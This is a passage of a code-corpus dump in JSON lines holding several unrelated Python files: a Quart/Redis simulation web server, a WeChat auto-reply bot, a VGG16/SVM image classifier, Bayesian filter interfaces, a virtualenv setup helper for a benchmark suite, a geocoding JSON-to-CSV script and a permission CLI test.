0.0\n\n algorithm = algorithm.lower()\n if algorithm == 'mean':\n val = arr.mean()\n elif algorithm == 'median':\n val = np.median(arr)\n elif algorithm == 'mode':\n val = biweight_location(arr)\n elif algorithm == 'stddev':\n val = arr.std()\n else:\n raise ValueError('{0} is not a valid algorithm for sky background '\n 'calculations'.format(algorithm))\n\n return val\n\n\n# -------------- #\n# FITS FUNCTIONS #\n# -------------- #\n\ndef _fits_extnamever_lookup(filename, extname, extver):\n \"\"\"Return ext num for given name and ver.\"\"\"\n extnum = -1\n with fits.open(filename) as pf:\n for i, hdu in enumerate(pf):\n if hdu.name.startswith(extname) and hdu.ver == extver:\n extnum = i\n break\n return extnum\n","sub_path":"stginga/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"356590977","text":"import asyncio\nimport functools\nimport json\nimport os\nfrom typing import Any, Awaitable, Callable, Coroutine, Optional, Union\nimport uuid\nimport warnings\n\nfrom hypercorn.config import Config as HyperConfig\nfrom hypercorn.typing import ASGIFramework\nfrom hypercorn.trio.run import worker_serve\nfrom hypercorn.trio import serve as hypercorn_serve\nfrom quart import Quart, websocket\nfrom quart.logging import create_serving_logger\nfrom quart_trio import QuartTrio\nimport redis\nimport trio\n\nfrom power_simulator.redis_util import redis__queue_push, redis__wait_for_key\n\n\nREDIS_HOSTNAME = os.environ.get('REDIS_HOSTNAME', 'localhost')\nREDIS_PORT = int(os.environ.get('REDIS_PORT', 6379))\n\nWORKER_QUEUE = 'gs_worker_queue'\nWS_NOTIFY_KEY = 'gs_ws_notify_key'\nSIMULATION_RESULT_KEY = 'simulation-result'\n\n\nredis_cli = redis.StrictRedis(host=REDIS_HOSTNAME, port=REDIS_PORT)\nhypercorn_config = HyperConfig.from_mapping(worker_class='trio', bind='0.0.0.0:5000')\n\n\napp = QuartTrio(__name__)\napp.SUBSCRIBER_CHANNELS = set() # local queues for each subscribing websocket client\n\n\nasync def _do_background_task(redis_cli, task_uid, task_type, task_kwargs):\n\n # push task to worker queue\n wait_key = 'wait-' + task_uid + uuid.uuid4().hex[:6]\n msg = json.dumps({\n 'task_type': task_type,\n 'task_kwargs': task_kwargs,\n 'redis_resultkey': task_uid,\n 'redis_waitkey': wait_key\n })\n await trio.to_thread.run_sync(\n redis__queue_push, redis_cli, WORKER_QUEUE, msg\n )\n\n # block for wait_key and fetch result\n await trio.to_thread.run_sync(\n redis__wait_for_key, redis_cli, wait_key\n )\n result = await trio.to_thread.run_sync(\n redis_cli.hmget, task_uid, 'task_result'\n )\n return result[0].decode()\n\n\n@app.route('/run-simulation', methods=['POST'])\nasync def run_simulation_view():\n \"\"\"\n Runs simulation as a background task, publishes\n to WS_NOTIFY_KEY when complete.\n \"\"\"\n\n result_json_str = await _do_background_task(\n redis_cli, SIMULATION_RESULT_KEY, 'run-simulation', None\n )\n\n # publish to redis/WS_NOTIFY_KEY\n await trio.to_thread.run_sync(\n redis_cli.publish, WS_NOTIFY_KEY, result_json_str\n )\n\n return json.loads(result_json_str)\n\n\nasync def _get_cached_value(field_key):\n result = await trio.to_thread.run_sync(\n redis_cli.hmget, SIMULATION_RESULT_KEY, 'task_result'\n )\n if result[0] is None:\n return 'no-cached-value'\n\n result_dict = json.loads(result[0].decode())\n return str(result_dict[field_key])\n\n\n@app.route('/active-power', methods=['GET'])\nasync def get_cached_active_power():\n return await _get_cached_value('active_power')\n\n\n@app.route('/reactive-power', methods=['GET'])\nasync def get_cached_reactive_power():\n return await _get_cached_value('reactive_power')\n\n\n@app.websocket('/simulator-subscribe')\nasync def simulator_websocket_subscribe():\n \"\"\"\n Accepts connections, opens a trio send/receive channel pair,\n waits for results and forwards them to the websocket client\n \"\"\"\n\n await websocket.send_json({'status': 'subscribed'})\n\n send_channel, receive_channel = trio.open_memory_channel(10)\n app.SUBSCRIBER_CHANNELS.add(send_channel)\n\n try:\n async with send_channel, receive_channel:\n async for message in receive_channel:\n await websocket.send(message)\n except trio.Cancelled:\n print('websocket disconnected')\n\n app.SUBSCRIBER_CHANNELS.remove(send_channel)\n\n\nasync def forward_results_from_redis(config, nursery):\n \"\"\"\n Forwards results from Redis/WS_NOTIFY_KEY to local/SUBSCRIBER_CHANNELS\n \"\"\"\n\n def _get_pubsub_iter(redis_cli, key):\n p = redis_cli.pubsub()\n p.subscribe(key)\n return p.listen().__iter__()\n\n iterator = await trio.to_thread.run_sync(\n _get_pubsub_iter, redis_cli, WS_NOTIFY_KEY\n )\n\n while True:\n item = await trio.to_thread.run_sync(\n # cancellable so hypercorn/trio can clean up on exit\n iterator.__next__, cancellable=True\n ) # need to catch iterator exception?\n\n if item['type'] != 'message':\n continue\n result_str = item['data'].decode()\n\n # send result to subscribers\n to_remove = []\n for channel in app.SUBSCRIBER_CHANNELS:\n if channel._closed:\n to_remove.append(channel)\n continue\n await channel.send(result_str)\n\n # remove channels of disconnected websockets\n for channel in to_remove:\n app.SUBSCRIBER_CHANNELS.remove(channel)\n\n\n@app.before_serving\nasync def launch_background_tasks():\n app.nursery.start_soon(forward_results_from_redis, None, app.nursery)\n\n\n'''\nasync def main():\n \"\"\" launch webserver and redis-notify worker\"\"\"\n async with trio.open_nursery() as nursery:\n nursery.start_soon(hypercorn_serve, app, hypercorn_config)\n nursery.start_soon(forward_results_from_redis, hypercorn_config, nursery)\n\n\nif __name__ == '__main__':\n trio.run(main)\n'''","sub_path":"2_power_simulator/power_simulator/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":5057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"42609514","text":"#coding: utf-8\n#Created on Thu Apr 13 20:49:18 2017,@author: Young\nimport itchat\nfrom itchat.content import *\n#itchat.auto_login()\n#itchat.send_msg(msg='test Message',toUserName='filehelper')\n# 注册文本消息,绑定到 text_reply 处理函数\n@itchat.msg_register(TEXT)\ndef text_reply(msg):\n # 打印出传递的消息,利于我们更好的理解 itchat 的运作方式\n print(msg)\n # 将消息返回给发送者\n itchat.send('recevied msg : %s'%msg['Text'],'filehelper')#msg['FromUserName'])\n# 图片以及视频消息,绑定到 reply_pic_video 函数\n@itchat.msg_register(PICTURE,VIDEO)\ndef reply_pic_video(msg):\n print(msg)\n # 下载收到的图片或者视频\n msg['Text'](msg['FileName'])\n # 回复发送者\n itchat.send_msg('hello world', toUserName='filehelper')#msg['FromUserName'])\n# 处理群聊消息\n@itchat.msg_register(TEXT, isGroupChat=True)\ndef text_reply(msg):\n if msg['isAt']:\n itchat.send(u'@%s\\u2005I received your msg: %s .END.' % (msg['ActualNickName'], msg['Content']),msg['FromUserName']) #'filehelper')\ndef main():\n itchat.auto_login(True)\n# itchat.run()\n group = itchat.search_chatrooms(name='匡院2015级')\n# memberList = itchat.update_chatroom('匡院2015级')\n print(group)\n\nif __name__ == '__main__':\n main()","sub_path":"wechat/wechat_robot.py","file_name":"wechat_robot.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"185425911","text":"from keras.applications.vgg16 import VGG16, preprocess_input\nfrom keras.preprocessing import image\nfrom keras.layers import Input\nfrom keras.layers.pooling import GlobalAveragePooling2D, AveragePooling2D\nfrom keras.models import Model\nfrom keras import backend as K\nimport tensorflow as tf\n\nimport joblib\nimport numpy as np\nimport ImageMIL.util as util\nimport ImageMIL.linear_classifier as linear_classifier\nimport ImageMIL.sil as sil\n\n\n### PARAMETERS ###\nmodel_name = \"vgg16\"\nlayer = \"block4_pool\" # layer from which to generate feature map to pass to SVM\ninstance_size = None # instance size, default = None\ninstance_stride = None # instance stride, default = None\npool_size = 5 # mean pooling size, default = 5\n\n#img_path = (\"/home/paperspace/Data/break_his/BreaKHis_v1/histology_slides/\"\n# \"breast/benign/SOB/adenosis/SOB_B_A_14-22549AB/100X/SOB_B_A-14-22549AB-100-001.png\")\n\npool_size = 5\n\n\ndef generate_feature_map(img_path):\n\n # load image file + pre-process\n img = image.load_img(img_path)\n img_array = image.img_to_array(img)\n img_array = np.expand_dims(img_array, axis=0)\n img_preprocess = preprocess_input(img_array)\n\n print(\"img shape: {}\".format(img_preprocess.shape))\n\n # create VGG16 model\n input_tensor = Input(shape=(None, None, 3))\n\n base_model = VGG16(input_tensor=input_tensor,\n include_top=False,\n weights='imagenet')\n\n # get chosen convolution block used to generate a feature map\n x = base_model.get_layer(\"block4_pool\").output\n x = AveragePooling2D((pool_size, pool_size), name='avgpool')(x)\n\n # define prediction model\n model = Model(inputs=base_model.input, outputs=x)\n\n global graph\n graph = tf.get_default_graph()\n\n # generate feature map\n print(\"generating feature map...\")\n with graph.as_default():\n p = model.predict(img_preprocess)\n\n print(p.shape)\n\n if len(p.shape) > 2:\n feat = [p[:, r, c, :].squeeze() for r in range(p.shape[1]) for c in range(p.shape[2])]\n else:\n feat = [p.squeeze()]\n\n if len(feat) > 0:\n print('size of re-sized feature map: %d x %d' % (len(feat), feat[0].shape[0]))\n\n K.clear_session()\n\n return feat\n\n\ndef predict_svm(model_path, feat_map):\n\n model = joblib.load(model_path)\n p = model.predict(feat_map)\n\n return p\n\n\ndef execute(test_img_path):\n\n # trained SVM model path\n couture_model_path = \"/home/paperspace/Data/break_his/BreaKHis200/model_median_Fold 1.joblib\"\n\n # generate feature map from VGG16\n feat_map = np.expand_dims(generate_feature_map(test_img_path), axis=0) # expand dimensions to pass 3-dimensional object to model.predict()\n\n # predict probability\n prediction = predict_svm(model_path=couture_model_path, feat_map=feat_map)\n\n return int(np.argmax(prediction, axis=1))\n\n\nif __name__ == '__main__':\n\n #img_path = (\"/home/paperspace/Data/break_his/BreaKHis_v1/histology_slides/\"\n # \"breast/benign/SOB/adenosis/SOB_B_A_14-22549AB/100X/SOB_B_A-14-22549AB-100-001.png\")\n\n #model_path = \"/home/paperspace/Data/break_his/BreaKHis200/model_median_Fold 1.joblib\"\n\n execute()\n\n","sub_path":"executor.py","file_name":"executor.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"97255577","text":"\"\"\"Interfaces for Bayesian filtering and smoothing.\"\"\"\n\nfrom abc import ABC, abstractmethod\n\n\nclass BayesFiltSmooth(ABC):\n \"\"\"Bayesian filtering and smoothing.\"\"\"\n\n def __init__(self, dynamics_model, measurement_model, initrv):\n self.dynamics_model = dynamics_model\n self.measurement_model = measurement_model\n self.initrv = initrv\n\n @abstractmethod\n def filter_step(self, start, stop, randvar, data, **kwargs):\n \"\"\"Filter step.\n\n For e.g. Gaussian filters, this means a prediction step followed\n by an update step.\n \"\"\"\n errormsg = (\n \"filter_step(...) is not implemented for \"\n + \"the Bayesian filter {}.\".format(type(self).__name__)\n )\n raise NotImplementedError(errormsg)\n\n def smoother_step(self, **kwargs):\n \"\"\"Smoother step.\"\"\"\n errormsg = (\n \"smoother_step(...) is not implemented for \"\n + \"the Bayesian smoother {}.\".format(type(self).__name__)\n )\n raise NotImplementedError(errormsg)\n","sub_path":"src/probnum/filtsmooth/bayesfiltsmooth.py","file_name":"bayesfiltsmooth.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"461120031","text":"from __future__ import division, with_statement, print_function, absolute_import\n\nimport os\nimport platform\nimport shutil\nimport subprocess\nimport sys\nimport textwrap\n\nimport performance\n\ntry:\n # Python 3.3\n from shutil import which\nexcept ImportError:\n # Backport shutil.which() from Python 3.6\n def which(cmd, mode=os.F_OK | os.X_OK, path=None):\n \"\"\"Given a command, mode, and a PATH string, return the path which\n conforms to the given mode on the PATH, or None if there is no such\n file.\n\n `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result\n of os.environ.get(\"PATH\"), or can be overridden with a custom search\n path.\n\n \"\"\"\n # Check that a given file can be accessed with the correct mode.\n # Additionally check that `file` is not a directory, as on Windows\n # directories pass the os.access check.\n def _access_check(fn, mode):\n return (os.path.exists(fn) and os.access(fn, mode)\n and not os.path.isdir(fn))\n\n # If we're given a path with a directory part, look it up directly rather\n # than referring to PATH directories. This includes checking relative to the\n # current directory, e.g. ./script\n if os.path.dirname(cmd):\n if _access_check(cmd, mode):\n return cmd\n return None\n\n if path is None:\n path = os.environ.get(\"PATH\", os.defpath)\n if not path:\n return None\n path = path.split(os.pathsep)\n\n if sys.platform == \"win32\":\n # The current directory takes precedence on Windows.\n if not os.curdir in path:\n path.insert(0, os.curdir)\n\n # PATHEXT is necessary to check on Windows.\n pathext = os.environ.get(\"PATHEXT\", \"\").split(os.pathsep)\n # See if the given file matches any of the expected path extensions.\n # This will allow us to short circuit when given \"python.exe\".\n # If it does match, only test that one, otherwise we have to try\n # others.\n if any(cmd.lower().endswith(ext.lower()) for ext in pathext):\n files = [cmd]\n else:\n files = [cmd + ext for ext in pathext]\n else:\n # On other platforms you don't have things like PATHEXT to tell you\n # what file suffixes are executable, so just pass on cmd as-is.\n files = [cmd]\n\n seen = set()\n for dir in path:\n normdir = os.path.normcase(dir)\n if not normdir in seen:\n seen.add(normdir)\n for thefile in files:\n name = os.path.join(dir, thefile)\n if _access_check(name, mode):\n return name\n return None\n\n\nROOT_DIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))\n\n\ndef python_implementation():\n if hasattr(sys, 'implementation'):\n # PEP 421, Python 3.3\n name = sys.implementation.name\n else:\n name = platform.python_implementation()\n return name.lower()\n\n\n# FIXME: use version_info format: (int, int)\ndef interpreter_version(python, _cache={}):\n \"\"\"Return the interpreter version for the given Python interpreter.\n *python* is the base command (as a list) to execute the interpreter.\n \"\"\"\n key = tuple(python)\n try:\n return _cache[key]\n except KeyError:\n pass\n code = \"\"\"import sys; print('.'.join(map(str, sys.version_info[:2])))\"\"\"\n subproc = subprocess.Popen(python + ['-c', code],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n out, err = subproc.communicate()\n if subproc.returncode != 0:\n raise RuntimeError(\"Child interpreter died: \" + err.decode())\n version = out.decode().strip()\n if len(version) != 3:\n raise RuntimeError(\"Strange version printed: %s\" % version)\n _cache[key] = version\n return version\n\n\ndef get_virtualenv():\n bin_path = os.path.dirname(sys.executable)\n if not os.path.isabs(bin_path):\n print(\"ERROR: Python executable path is not absolute: %s\"\n % sys.executable)\n sys.exit(1)\n if not os.path.exists(os.path.join(bin_path, 'activate')):\n print(\"ERROR: Unable to get the virtual environment of \"\n \"the Python executable %s\" % sys.executable)\n sys.exit(1)\n\n venv = os.path.dirname(bin_path)\n venv = os.path.realpath(venv)\n return venv\n\n\ndef run_cmd(cmd):\n print(\"Execute: %s\" % ' '.join(cmd))\n proc = subprocess.Popen(cmd)\n try:\n proc.wait()\n except:\n proc.kill()\n proc.wait()\n raise\n exitcode = proc.returncode\n if exitcode:\n sys.exit(exitcode)\n print(\"\")\n\n\ndef virtualenv_name(python):\n script = textwrap.dedent(\"\"\"\n import hashlib\n import platform\n import sys\n\n performance_version = sys.argv[1]\n requirements = sys.argv[2]\n\n data = performance_version + sys.executable + sys.version\n\n pyver= sys.version_info\n\n if hasattr(sys, 'implementation'):\n # PEP 421, Python 3.3\n implementation = sys.implementation.name\n else:\n implementation = platform.python_implementation()\n implementation = implementation.lower()\n\n if not isinstance(data, bytes):\n data = data.encode('utf-8')\n with open(requirements, 'rb') as fp:\n data += fp.read()\n sha1 = hashlib.sha1(data).hexdigest()\n\n name = ('%s%s.%s-%s'\n % (implementation, pyver.major, pyver.minor, sha1[:12]))\n print(name)\n \"\"\")\n\n requirements = os.path.join(ROOT_DIR, 'performance', 'requirements.txt')\n cmd = (python, '-c', script, performance.__version__, requirements)\n proc = subprocess.Popen(cmd,\n stdout=subprocess.PIPE,\n universal_newlines=True)\n stdout = proc.communicate()[0]\n if proc.returncode:\n print(\"ERROR: failed to create the name of the virtual environment\")\n sys.exit(1)\n\n return stdout.rstrip()\n\n\ndef create_virtualenv(python):\n venv_name = virtualenv_name(python)\n venv_path = os.path.join('venv', venv_name)\n if os.name == \"nt\":\n python_executable = os.path.basename(python)\n venv_python = os.path.join(venv_path, 'Scripts', python_executable)\n else:\n venv_python = os.path.join(venv_path, 'bin', 'python')\n if os.path.exists(venv_path):\n return venv_python\n\n print(\"Creating the virtual environment %s\" % venv_path)\n try:\n # On Python 3.3 and newer, the venv module could be used, but it looks\n # like it doesn't work when run from a virtual environment on Fedora:\n # ensurepip fails with an error.\n cmd = ['virtualenv', '-p', python, venv_path]\n run_cmd(cmd)\n\n # upgrade setuptools and pip to make sure that they support environment\n # marks in requirements.txt\n cmd = [venv_python, '-m', 'pip',\n 'install', '-U', 'setuptools>=18.5', 'pip>=6.0']\n run_cmd(cmd)\n\n # install requirements\n requirements = os.path.join(ROOT_DIR, 'performance', 'requirements.txt')\n cmd = [venv_python, '-m', 'pip', 'install', '-r', requirements]\n run_cmd(cmd)\n\n\n version = performance.__version__\n if version.endswith('dev'):\n # install performance inside the virtual environment\n cmd = [venv_python, '-m', 'pip', 'install', '-e', ROOT_DIR]\n else:\n # install performance inside the virtual environment\n cmd = [venv_python, '-m', 'pip',\n 'install', 'performance==%s' % version]\n run_cmd(cmd)\n except:\n if os.path.exists(venv_path):\n print(\"ERROR: Remove virtual environment %s\" % venv_path)\n shutil.rmtree(venv_path)\n raise\n\n return venv_python\n\n\ndef exec_in_virtualenv(options):\n venv_python = create_virtualenv(options.python)\n args = [venv_python, \"-m\", \"performance\"] + sys.argv[1:] + [\"--inside-venv\"]\n # os.execv() is buggy on windows, which is why we use run_cmd/subprocess\n # on windows. \n # * https://bugs.python.org/issue19124\n # * https://github.com/python/benchmarks/issues/5\n if os.name == \"nt\":\n run_cmd(args)\n sys.exit(0)\n else:\n os.execv(args[0], args)\n","sub_path":"performance/venv.py","file_name":"venv.py","file_ext":"py","file_size_in_byte":8488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"409293931","text":"from pathlib import Path\nimport json\nimport csv\nimport os \n\npathlist = Path(\"json\").glob('**/*.json')\n\nfd = open('list.csv','a')\nwriter = csv.writer(fd, delimiter=',',\n lineterminator='\\r\\n',\n quotechar = '\"'\n )\n\ncolumn_names = [\"skpID\", \"lng\", \"lat\", \"place_id\", \"formatted_address\", \"administrative_area_level_3\" ]\n\nwriter.writerow(column_names)\n\nfor path in pathlist:\n files = str(path)\n with open(str(path)) as data_file:\n \t\n \t\n \tfilename = str(path).split('/')[-1]\n \tprint (filename)\n\n \tdata = json.load(data_file)\n \t\n \tif data[\"status\"] == \"OK\":\n\t \tlatitude = (data[\"results\"][0][\"geometry\"][\"location\"][\"lat\"])\n\t \tlng = (data[\"results\"][0][\"geometry\"][\"location\"][\"lng\"])\n\t \t\n\t \tplace_id = (data[\"results\"][0][\"place_id\"])\n\t \t\n\t \tformatted_address = (data[\"results\"][0][\"formatted_address\"])\n\t \taddress_components = (data[\"results\"][0][\"address_components\"])\n\n\t \tfor item in address_components:\n\t \t\tif 'administrative_area_level_3' in (item[\"types\"]):\n\t \t\t\tadministrative_area_level_3 = (item[\"long_name\"])\n\n\t \tmyCsvRow = [filename, latitude, lng , place_id , formatted_address, administrative_area_level_3]\n\t \t\n\t \twriter.writerow(myCsvRow)\n\n\nprint (\"done\")\nfd.close()","sub_path":"flatten.py","file_name":"flatten.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"322948412","text":"from typing import TYPE_CHECKING\n\nimport pytest\n\nfrom grouper.constants import PERMISSION_ADMIN\nfrom grouper.permissions import get_permission\nfrom tests.ctl_util import run_ctl\n\nif TYPE_CHECKING:\n from tests.setup import SetupTest\n\n\ndef test_permission_disable(setup):\n # type: (SetupTest) -> None\n with setup.transaction():\n setup.grant_permission_to_group(PERMISSION_ADMIN, \"\", \"admins\")\n setup.add_user_to_group(\"gary@a.co\", \"admins\")\n setup.create_permission(\"some-permission\")\n\n run_ctl(setup, \"permission\", \"-a\", \"gary@a.co\", \"disable\", \"some-permission\")\n permission = get_permission(setup.session, \"some-permission\")\n assert permission\n assert not permission.enabled\n\n\ndef test_permission_disable_failed(setup):\n # type: (SetupTest) -> None\n with setup.transaction():\n setup.create_user(\"gary@a.co\")\n with pytest.raises(SystemExit):\n run_ctl(setup, \"permission\", \"-a\", \"gary@a.co\", \"disable\", \"some-permission\")\n","sub_path":"tests/ctl/permission_test.py","file_name":"permission_test.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"}